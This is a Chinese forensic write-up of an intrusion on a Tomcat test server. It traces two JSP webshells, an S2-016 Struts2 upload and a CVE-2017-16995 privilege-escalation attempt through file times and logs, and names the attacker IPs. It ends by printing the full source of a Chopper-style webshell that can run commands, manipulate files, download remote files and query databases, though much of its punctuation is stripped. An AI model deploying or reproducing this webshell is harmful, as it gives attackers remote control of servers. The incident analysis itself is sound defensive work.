北京住房与城乡建设厅网站首页,网站加黑链,自己怎么建设收费电影网站,wordpress快讯插件场景说明#xff1a;
某天运维人员发现在/opt/tomcat8/webapps/test/目录下#xff0c;多出了一个index_bak.jsp这个文件#xff0c;
并告诉你如下信息
操作系统#xff1a;ubuntu-16.04业务#xff1a;测试站点中间件#xff1a;tomcat开放端口#xff1a;22#x…场景说明
某天运维人员发现在/opt/tomcat8/webapps/test/目录下多出了一个index_bak.jsp这个文件
并告诉你如下信息
操作系统ubuntu-16.04业务测试站点中间件tomcat开放端口2280808009tomcat目录/opt/tomcat8/站点根目录/opt/tomcat8/webapps
排查过程
1.确认文件被创建的时间
找到网站根目录下的index_bak.jps文件 查看index_bak.jps的时间点 查看文件内容可以看到有密码还有一些数据库操作模块的导入其中的 REQUEST_CHARSET 和PAGE_CHARSET应该是为了躲避防火墙入侵检测用的这是一个木马
2.web扫描确认
1.我们把tomcat的源码目录打包为归档文件然后使用杀毒工具来检测 使用ssh的sftp来拷贝下来使用d盾来查杀在这里我们扫到了两个后门我们再看一下a.jsp这个后门的创建时间 发现a.jsp也是一个典型的木马 来看一下a.jsp的创建时间 我们得到了两个文件的创建时间
a.jsp2018-10-20 17:14:00
index_bak.jsp2018-10-22 16:57:13
我们来访问以下a.jsp这个网站文件看看是可以访问是否有权限访问,是报错那么我们使用中国蚁剑来连接试试 我们使用菜刀吧使用蚁剑不行不支持.jsp格式的木马 使用菜刀成功连接
访问另一个木马文件我们访问之后输入的密码就是备份文件中的密码 得到了以下界面说明大马被正常执行了 3.web日志分析
日志目录是/opt/tomcat8/logs/ 使用vscode打开文件夹然后查找文本 发现192.168.199.205在2018-10-20-17:14:06首次访问a.jsp登录服务器
同样我们再搜索index_bak.jsp发现172.20.10.13在2018-10-22-16:57:55首次访问了 对于a.jsp172.20.10.13和192.168.199.105都访问过a.jsp然后index_bak.jsp只有172.20.10.13访问过得到攻击者的ip地址如下
192.168.199.105
172.20.10.13排查在访问a.jsp之上的攻击者ip地址访问网站的记录找到可疑的路径带有攻击参数的路径
1.结合a.jsp的创建时间为2018-10-20-17-14-00来搜索日志发现有一条路径是和a.jsp时间吻合的 这条记录是可疑的
2./test/fileupload/doUpload.action继续查看其他可疑日志发现尝试了使用登录接口但在页面中测试接口无法上传文件所以排除 3./manager/html曾多次访问tomcat管理界面manager是tomcat的管理目录多次访问都是401所以没有通过口令进入到管理页面
通过排查我们发现网站使用的status框架使用工具检测是否存在status漏洞 我们可以看后缀是否存在后缀为.action来判断是否是status2框架的网站
然后通过工具检测结果发现存在很多漏洞
我们使用命令执行看看 到此我们基本可以确实攻击者使用了s2-016漏洞进行攻击然后通过文件上传来上传文件a.jsp连接菜刀了由于web日志中没有记录POST请求的数据我们就不知道攻击者执行了哪些命令做了什么事情了
4.系统排查
排查系统是否有异常
我们在struts中测试whoami会显示dbapp用户所以可能是通过dbapp用户来提权的我们先从dbapp家目录开始排查
在它的家目录中发现了两个可以的文件a*和a.c*比较可疑
查看时间
我们得知了
2018-10-22-16:48:39上传了a
2018-10-22-16:48:23上传了a.c
查看a.c的内容发现是内核提权的脚本 到文件威胁平台中分析a发现为CVE-2017-16995可执行文件 黑客入侵过程
根据目前的信息可以得到如下的结论
1.在2018-10-20 17:14:00利用s2-016通过/test/showcase.action页面上传了webshella.jsp然后获得了tomcat的dbapp权限
2.2018-10-22-16:48:23在/home/dbapp/上传了a.c文件经过编译变成了a文件
3.2018-10-22-16:48:39在/home/dbapp/上传或者生成了a,并且尝试提权但是提权失败了
4.2018-10-20-16:57:13通过a.jsp上传了大马index_bak.jsp攻击者的ip地址为
192.168.199.105
172.20.10.13a.jsp的内容
%page importjava.io.*,java.util.*,java.net.*,java.sql.*,java.text.*%
%!
String Pwdchopper;
String EC(String s,String c)throws Exception{return new String(s.getBytes(ISO-8859-1),c);}
Connection GC(String s)throws Exception{String[] xs.trim().split(\r\n);Class.forName(x[0].trim()).newInstance();
Connection cDriverManager.getConnection(x[1].trim());if(x.length2){c.setCatalog(x[2].trim());}return c;}
void AA(StringBuffer sb)throws Exception{File r[]File.listRoots();for(int i0;ir.length;i){sb.append(r[i].toString().substring(0,2));}}
void BB(String s,StringBuffer sb)throws Exception{File oFnew File(s),l[]oF.listFiles();String sT, sQ,sF;java.util.Date dt;
SimpleDateFormat fmnew SimpleDateFormat(yyyy-MM-dd HH:mm:ss);for(int i0;il.length;i){dtnew java.util.Date(l[i].lastModified());
sTfm.format(dt);sQl[i].canRead()?R:;sQl[i].canWrite()? W:;if(l[i].isDirectory()){sb.append(l[i].getName()/\tsT\tl[i].length()\tsQ\n);}
else{sFl[i].getName()\tsT\tl[i].length()\tsQ\n;}}sb.append(sF);}
void EE(String s)throws Exception{File fnew File(s);if(f.isDirectory()){File x[]f.listFiles();
for(int k0;kx.length;k){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}
void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] bnew byte[512];r.reset();
ServletOutputStream osr.getOutputStream();BufferedInputStream isnew BufferedInputStream(new FileInputStream(s));
os.write((-|).getBytes(),0,3);while((nis.read(b,0,512))!-1){os.write(b,0,n);}os.write((|-).getBytes(),0,3);os.close();is.close();}
void GG(String s, String d)throws Exception{String h0123456789ABCDEF;int n;File fnew File(s);f.createNewFile();
FileOutputStream osnew FileOutputStream(f);for(int i0;id.length();i2)
{os.write((h.indexOf(d.charAt(i))4|h.indexOf(d.charAt(i1))));}os.close();}
void HH(String s,String d)throws Exception{File sfnew File(s),dfnew File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]sf.listFiles();
for(int j0;jz.length;j){HH(s/z[j].getName(),d/z[j].getName());}
}else{FileInputStream isnew FileInputStream(sf);FileOutputStream osnew FileOutputStream(df);
int n;byte[] bnew byte[512];while((nis.read(b,0,512))!-1){os.write(b,0,n);}is.close();os.close();}}
void II(String s,String d)throws Exception{File sfnew File(s),dfnew File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File fnew File(s);f.mkdir();}
void KK(String s,String t)throws Exception{File fnew File(s);SimpleDateFormat fmnew SimpleDateFormat(yyyy-MM-dd HH:mm:ss);
java.util.Date dtfm.parse(t);f.setLastModified(dt.getTime());}
void LL(String s, String d)throws Exception{URL unew URL(s);int n;FileOutputStream osnew FileOutputStream(d);
HttpURLConnection h(HttpURLConnection)u.openConnection();InputStream ish.getInputStream();byte[] bnew byte[512];
while((nis.read(b,0,512))!-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}
void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader brnew BufferedReader(new InputStreamReader(is));
while((lbr.readLine())!null){sb.append(l\r\n);}}
void NN(String s,StringBuffer sb)throws Exception{Connection cGC(s);ResultSet rc.getMetaData().getCatalogs();
while(r.next()){sb.append(r.getString(1)\t);}r.close();c.close();}
void OO(String s,StringBuffer sb)throws Exception{Connection cGC(s);String[] t{TABLE};ResultSet rc.getMetaData().getTables (null,null,%,t);
while(r.next()){sb.append(r.getString(TABLE_NAME)\t);}r.close();c.close();}
void PP(String s,StringBuffer sb)throws Exception{String[] xs.trim().split(\r\n);Connection cGC(s);
Statement mc.createStatement(1005,1007);ResultSet rm.executeQuery(select * from x[3]);ResultSetMetaData dr.getMetaData();
for(int i1;id.getColumnCount();i){sb.append(d.getColumnName(i) (d.getColumnTypeName(i))\t);}r.close();m.close();c.close();}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection cGC(s);Statement mc.createStatement(1005,1008);
try{ResultSet rm.executeQuery(q);ResultSetMetaData dr.getMetaData();int nd.getColumnCount();for(i1;in;i){sb.append(d.getColumnName(i)\t|\t);
}sb.append(\r\n);while(r.next()){for(i1;in;i){sb.append(EC(r.getString(i),cs)\t|\t);}sb.append(\r\n);}r.close();}
catch(Exception e){sb.append(Result\t|\t\r\n);try{m.executeUpdate(q);sb.append(Execute Successfully!\t|\t\r\n);
}catch(Exception ee){sb.append(ee.toString()\t|\t\r\n);}}m.close();c.close();}
%%
String csrequest.getParameter(z0);request.setCharacterEncoding(cs);response.setContentType(text/html;charsetcs);
String ZEC(request.getParameter(Pwd),cs);String z1EC(request.getParameter(z1),cs);String z2EC(request.getParameter(z2),cs);
StringBuffer sbnew StringBuffer();try{sb.append(XY);
if(Z.equals(A)){String snew File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s\t);if(!s.substring(0,1).equals(/)){AA(sb);}}
else if(Z.equals(B)){BB(z1,sb);}else if(Z.equals(C)){String l;BufferedReader brnew BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((lbr.readLine())!null){sb.append(l\r\n);}br.close();}
else if(Z.equals(D)){BufferedWriter bwnew BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);bw.close();sb.append(1);}else if(Z.equals(E)){EE(z1);sb.append(1);}else if(Z.equals(F)){FF(z1,response);}
else if(Z.equals(G)){GG(z1,z2);sb.append(1);}else if(Z.equals(H)){HH(z1,z2);sb.append(1);}else if(Z.equals(I)){II(z1,z2);sb.append(1);}
else if(Z.equals(J)){JJ(z1);sb.append(1);}else if(Z.equals(K)){KK(z1,z2);sb.append(1);}else if(Z.equals(L)){LL(z1,z2);sb.append(1);}
else if(Z.equals(M)){String[] c{z1.substring(2),z1.substring(0,2),z2};Process pRuntime.getRuntime().exec(c);
MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals(N)){NN(z1,sb);}else if(Z.equals(O)){OO(z1,sb);}
else if(Z.equals(P)){PP(z1,sb);}else if(Z.equals(Q)){QQ(cs,z1,z2,sb);}
}catch(Exception e){sb.append(ERROR:// e.toString());}sb.append(XY);out.print(sb.toString());
%
